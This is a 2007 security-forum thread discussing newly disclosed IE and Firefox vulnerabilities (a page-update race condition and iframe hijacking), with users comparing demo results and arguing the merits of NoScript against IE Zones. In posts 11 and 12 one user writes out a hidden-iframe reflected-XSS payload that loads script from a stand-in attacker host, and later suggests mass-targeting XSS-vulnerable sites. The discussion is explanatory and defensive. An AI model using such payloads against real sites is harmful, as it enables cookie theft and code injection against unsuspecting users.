Wilders Security Forums  

Go Back   Wilders Security Forums > Other Security Topics > other security issues & news
User Name
Password
Register FAQ Members List Calendar Search Today's Posts Mark Forums Read

 
 
Thread Tools Search this Thread
  #1  
Old June 4th, 2007, 08:48 PM
Mele20's Avatar
Mele20 Mele20 is offline
Former Poster
 
Join Date: Apr 2002
Location: Hilo, Hawaii
Posts: 2,495
Default 4 New vulnerabilities in IE and Firefox

Michal Zalewski has published details of 4 new serious vulnerabilities in IE and Firefox. There are demo tests for each vulnerability. The most serious one is an IE page update race condition which is rated critical. Microsoft has already responded that they are looking into this further.

He explains the IE vulnerability:

"In short, when Javascript code instructs MSIE to navigate away from a page that meets same-domain origin policy (and hence can be scriptually accessed and modified by the attacker) to an unrelated third-party site, there is a window of opportunity for concurrently executed Javascript to perform actions with the permissions for the old page, but actual content for the newly loaded page, for example: read or set victim.document.cookie, arbitrarily alter document DOM, including changing form submission URLs, injecting code, or even crashing the browser due to memory corruption while reading and writing not fully initialized data structures.

In other words, the entire security model of the browser collapses like a house of cards and renders you vulnerable to a plethora of nasty attacks; and local system compromise is not out of question, either."
http://lcamtuf.coredump.cx/ierace/

I did the demo for the race condition using IE6 (IE7 is also vulnerable). Perhaps the results for me were due to my not so conventional IE cookie handling. IE cookie handling popped up and asked if I wanted Google to set a cookie and I said no and that threw IE into a locked loop and the only way out was to use Task Manager to kill IE. (The demo does state that you have to have cookies accepted to do the demo properly so I should have told IE to accept the cookie but I have never accepted a Google cookie and didn't want to start just for this demo).

The most serious of the Firefox vulnerabilities reported involves a cross-site IFRAME hijacking bug. There are two parts to that test. The one that relies on about:blank frame caused Fx to freeze on a blank screen with 80% CPU usage. With the second test that does not rely on about:blank frame, I got a Google page saying OWNED repeatedly down the left column and Fx would not stop loading the page and I could not close the tab.
http://lcamtuf.coredump.cx/ifsnatch/

http://blogs.zdnet.com/security/?p=254
  #2  
Old June 5th, 2007, 05:03 AM
TOMxEU's Avatar
TOMxEU TOMxEU is offline
Very Frequent Poster
 
Join Date: Oct 2005
Location: Slovakia
Posts: 1,536
Default Re: 4 New vulnerabilities in IE and Firefox

I put both pages to trusted and allowed a cookie for google.pl. One, still closeable, tab looks like in an endless loop, but in 2 minutes it ended and wrote, that browser is not vulnerable. I allowed all cookies and IE7 still passed, so I disabled protected mode for the trusted zone and "finally" the IE7 failed. So it all depends on settings, as most exploits expect.
__________________
Real-Time: Nothing | On-Demand: Nothing [ Lenovo E525 | Yandex | CCleaner | KC SUMo | WiseCare 365 ] ( BlackViper / DEP / OpenDNS / UAC / WiFiRouter )
  #3  
Old June 5th, 2007, 05:46 AM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Cool Re: 4 New vulnerabilities in IE and Firefox

Needless to say, none of the Firefox exploits had a chance to survive NoScript
__________________
XSS me if you can
  #4  
Old June 5th, 2007, 01:18 PM
nadirah nadirah is offline
Massive Poster
 
Join Date: Oct 2003
Posts: 3,647
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
Needless to say, none of the Firefox exploits had a chance to survive NoScript

Not the same story for IE.
  #5  
Old June 5th, 2007, 01:49 PM
Rasheed187 Rasheed187 is offline
Very Frequent Poster
 
Join Date: Jul 2004
Location: The Netherlands
Posts: 1,883
Default Re: 4 New vulnerabilities in IE and Firefox

I´m not sure what to think about these tests, how do you know if they work or not? With the first FF exploit I get to see a dialog which tells me they can intercept my keystrokes or something? And with the second one, I get to see a standard FF prompt asking me if I want to download "evilscript.html".

And the IE exploits don´t seem to work at all, might be because of my system settings.
  #6  
Old June 5th, 2007, 03:18 PM
ASpace
 
Posts: n/a
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by Mele20
(IE7 is also vulnerable).

Actually , Tom_SK's test showed that Windows Vista's Internet Explorer 7 with default settings (by default Protected Mode is ON) , is not vulnerable

Last edited by ASpace : June 5th, 2007 at 04:37 PM.
  #7  
Old June 5th, 2007, 03:50 PM
TOMxEU's Avatar
TOMxEU TOMxEU is offline
Very Frequent Poster
 
Join Date: Oct 2005
Location: Slovakia
Posts: 1,536
Default Re: 4 New vulnerabilities in IE and Firefox

That is right HiTech_boy, well I am glad, that at least someone reads, what I write.
By the way, IE with no scripts is as safe as any other browsers as well and that is that.
This is the second zero day exploit, I know about, that is protected by protected mode.
__________________
Real-Time: Nothing | On-Demand: Nothing [ Lenovo E525 | Yandex | CCleaner | KC SUMo | WiseCare 365 ] ( BlackViper / DEP / OpenDNS / UAC / WiFiRouter )
  #8  
Old June 5th, 2007, 04:53 PM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by TheTOM_SK
By the way, IE with no scripts is as safe as any other browsers as well and that is that.
"No scripts" is one thing, NoScript is another.

IE has Zones, but they're not nearly as usable as NoScript.
Furthermore, IE Zones won't protect your trusted sites from reflected XSS, while NoScript does and that is that.
__________________
XSS me if you can
  #9  
Old June 5th, 2007, 05:07 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by TheTOM_SK
By the way, IE with no scripts is as safe as any other browsers as well and that is that.
I will echo that, attested to by the many people I know who have used IE for years with no problems whatsoever.

From the test page:

Quote:
you obviously need Javascript to proceed
Well, who permits javascript on unknown sites? Why disable a security protection to let an exploit run?

It's like removing your roof to see whether or not your floor will get wet in a rain.

You can argue, Well it shows what *could* happen. OK, but how long as this vulnerability existed?
Since the browser was first released, of course - it just lay waiting for someone to discover it.

How many more *possible* vulnerabilities do you think are just laying there, waiting to be discovered?

The problem is, that there are sites which require javascript to function, and at some point,
everyone has to make a decision as to which sites to trust: your bank, for example.

Question:

How do you decide that yourbank.com can be trusted
and that you can confidently enable javascript?


regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."
--Bruce Schneier
  #10  
Old June 5th, 2007, 05:17 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
Furthermore, IE Zones won't protect your trusted sites from reflected XSS, while NoScript does and that is that.
This is true, but what is the likelihood of someone falling to a reflected XSS exploit to your trusted sites?

From your wikipedia reference;

Quote:
At first blush, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in Type 0 vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities.


regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."
--Bruce Schneier
  #11  
Old June 5th, 2007, 06:14 PM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
Furthermore, IE Zones won't protect your trusted sites from reflected XSS, while NoScript does and that is that.
Quote:
Originally Posted by Rmus
This is true, but what is the likelihood of someone falling to a reflected XSS exploit to your trusted sites?
Rich, I'm not sure, what do you mean here?
Do you mean that reputable sites are immune from XSS vulnerabilities?
Or that smart people do not follow any link at all?
Quote:
Originally Posted by Rmus
Well, who permits javascript on unknown sites? Why disable a security protection to let an exploit run?
Well said!
Of course, since you don't use any protection against reflected XSS, I assume you don't even dare to visit any unknown site right?
Because some unknown site may contain something like this:

<iframe style="visibility: hidden"
src="http://some_trusted_site.com/xssable_page?xss_injection=<script%20src=http://evil_hackers.com/xss/some_zalewski_exploit.js></script>">
</iframe>

Actual JavaScript-based browser exploits add some fun to the XSS game, don't them?

P.S.: it's not your fault, the part of the Wikipedia article you quoted is quite naive and outdated: nobody in the security community overlooks reflected XSS nowadays.
__________________
XSS me if you can
  #12  
Old June 5th, 2007, 07:10 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
Rich, I'm not sure, what do you mean here?
Do you mean that reputable sites are immune from XSS vulnerabilities?
I'm referring to the persistent type of XSS, and so I determine as best as I can as to the security of the sites
on which I transact business, and leave it at that.

Quote:
Or that smart people do not follow any link at all?
I cannot speak for anyone else, but for me, clicking on a link referring to a story about ZA is one thing.
Logging in to the ZA site reached from an external link is something else.

Quote:
Of course, since you don't use any protection against reflected XSS, I assume you don't even dare to visit any unknown site right?

Because some unknown site may contain something like this:

<iframe style="visibility: hidden"
src="http://some_trusted_site.com/xssable_page?xss_injection=<script%20src=http://evil_hackers.com/xss/some_zalewski_exploit.js></script>">
</iframe>
I'm not too worried at the moment.

BTW - will this example work if Javascript is disabled? When I tried your original example you posted above -- which also caches a .js file -- it would not work with javascript disabled.

Quote:
P.S.: it's not your fault, the part of the Wikipedia article you quoted is quite naive and outdated: nobody in the security community overlooks reflected XSS nowadays.
I assumed that from your other threads, but since you referred to it, I quoted it.
I still think the part about the "social engineering" element is relevant.

regards,

-rich

________________________________________________________________
"Talking About Security Can Lead To Anxiety, Panic, And Dread...
Or Cool Assessments, Common Sense And Practical Planning..."
--Bruce Schneier
  #13  
Old June 5th, 2007, 08:24 PM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by Rmus
I'm not too worried at the moment.
You should, because I've just shown you how to silently exploit any JavaScript related browser vulnerability (isn't that the original topic, after all?) even if you've got scripting disabled on the attacker site, provided that at least one "trusted" sites exists which has JavaScript enabled and is XSSable.
Quote:
Originally Posted by Rmus
BTW - will this example work if Javascript is disabled?
Yes, it works if you your whitelist is implemented using IE's "Zones" or Opera's "Site Preferences".
It doesn't work if you use NoScript. That's the whole point of NoScript's "Anti-XSS Protection".
__________________
XSS me if you can

Last edited by elio : June 5th, 2007 at 08:38 PM.
  #14  
Old June 5th, 2007, 09:10 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
provided that at least one "trusted" sites exists which has JavaScript enabled and is XSSable.
That provision [persistent XSS] does not exist for the trusted sites where I transact business.
  #15  
Old June 5th, 2007, 09:19 PM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by Rmus
That provision [persistent XSS] does not exist for the trusted sites where I transact business.
Sorry, I did not specify (I wrongly assumed my iframe sample was clear enough):
provided that at least one "trusted" site exists which has JavaScript enabled and is vulnerable to reflected XSS (like 80% of the web).
__________________
XSS me if you can
  #16  
Old June 5th, 2007, 10:25 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by elio
provided that at least one "trusted" site exists which has JavaScript enabled and is vulnerable to reflected XSS
OK: looking more closely at the code (not being a programmer): So, the scenario is that I go to some site that has a hidden iframe that directs me to a trusted site which is XSS exploitable, whereupon it injects code which calls out to a malicious site to download a javascript file?

At what point does my javascript have to be enabled?

What if that site I'm directed to is not trusted?
  #17  
Old June 6th, 2007, 04:39 AM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by Rmus
OK: looking more closely at the code (not being a programmer): So, the scenario is that I go to some site that has a hidden iframe that directs me to a trusted site which is XSS exploitable, whereupon it injects code which calls out to a malicious site to download a javascript file?
You got the point
Quote:
At what point does my javascript have to be enabled?
On the the site you're directed to, that we were assuming is trusted.
To maximize the chances, a malicious web page could simply scrape the content of http://xssed.org/pagerank/ and build a bunch of iframes, one per domain, in the same popularity order (first yahoo.com, then google.com and so on): in most cases, one will fall.
Quote:
Originally Posted by Rmus
What if that site I'm directed to is not trusted?
If by "not trusted" you mean "JavaScript disabled", nothing happens.
Nothing happens also if it's trusted and JavaScript is enabled via NoScript ("Allow some_trusted_site.com"), because of 2 defense mechanisms:
  1. NoScript's anti-XSS filters are triggered, because the origin site is not trusted (all requests from untrusted to trusted sites are filtered to strip out XSS attempts)
  2. Even if anti-XSS protection was disabled (God forbid!), NoScript would block the external JS file inclusion because the file comes from an untrusted domain.
    This differs from other forms of selective JavaScript blocking, and specifically from Opera's "Site specific preferences", which automatically allow all the scripts loaded by a trusted page even if loaded from untrusted domains.
__________________
XSS me if you can
  #18  
Old June 6th, 2007, 09:46 PM
Rmus Rmus is offline
Exploit Analyst
 
Join Date: Mar 2005
Posts: 3,624
Default Re: 4 New vulnerabilities in IE and Firefox

Thanks, elio, for the explanation.


-rich
  #19  
Old June 7th, 2007, 04:12 AM
nadirah nadirah is offline
Massive Poster
 
Join Date: Oct 2003
Posts: 3,647
Default Re: 4 New vulnerabilities in IE and Firefox

To avoid being affected by the cross-site IFRAME hijacking bug, you can turn off frames in Firefox.

Type in about:config in the address bar.

Locate browser.frames.enabled

Right click and select Toggle to change it to False.

If you can't find it, right click on an empty space in about:config and click on new--->boolean
and input the above-mentioned value and set it to false.

Last edited by nadirah : June 7th, 2007 at 05:41 AM.
  #20  
Old June 7th, 2007, 05:32 AM
elio elio is offline
Regular Poster
 
Join Date: May 2007
Posts: 77
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Originally Posted by nadirah
To avoid it, you can turn off frames in Firefox.
To avoid what, exactly?
__________________
XSS me if you can
  #21  
Old June 7th, 2007, 08:45 AM
ronjor's Avatar
ronjor ronjor is offline
Global Moderator
 
Join Date: Jul 2003
Location: Texas
Posts: 46,218
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
Mozilla disputes Firefox flaws

Security chief disagrees with researcher's classifications but admits two bugs, when combined, can render systems vulnerable to attack
Story
  #22  
Old June 7th, 2007, 08:34 PM
coolbluewater's Avatar
coolbluewater coolbluewater is offline
Frequent Poster
 
Join Date: Feb 2007
Location: next door to Redmond
Posts: 268
Default Re: 4 New vulnerabilities in IE and Firefox

...and following along even further:
http://it.slashdot.org/article.pl?sid=07/06/05/0046258
__________________
blackhats who help distrowatch OpenBSD
[
  #23  
Old June 9th, 2007, 11:22 AM
Rasheed187 Rasheed187 is offline
Very Frequent Poster
 
Join Date: Jul 2004
Location: The Netherlands
Posts: 1,883
Default Re: 4 New vulnerabilities in IE and Firefox

Quote:
I´m not sure what to think about these tests, how do you know if they work or not? With the first FF exploit I get to see a dialog which tells me they can intercept my keystrokes or something? And with the second one, I get to see a standard FF prompt asking me if I want to download "evilscript.html".

And the IE exploits don´t seem to work at all, might be because of my system settings.

But do the IE exploits work on your systems? Also, what results do y´all get with the FF exploits?

Last edited by Rasheed187 : June 9th, 2007 at 11:29 AM.
 

Wilders Security Forums > Other Security Topics > other security issues & news « Previous Thread | Next Thread »

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Settings
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump


All times are GMT -4. The time now is 02:37 AM.


Powered by vBulletin® Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Copyright ©2002 - 2013, Wilders Security Forums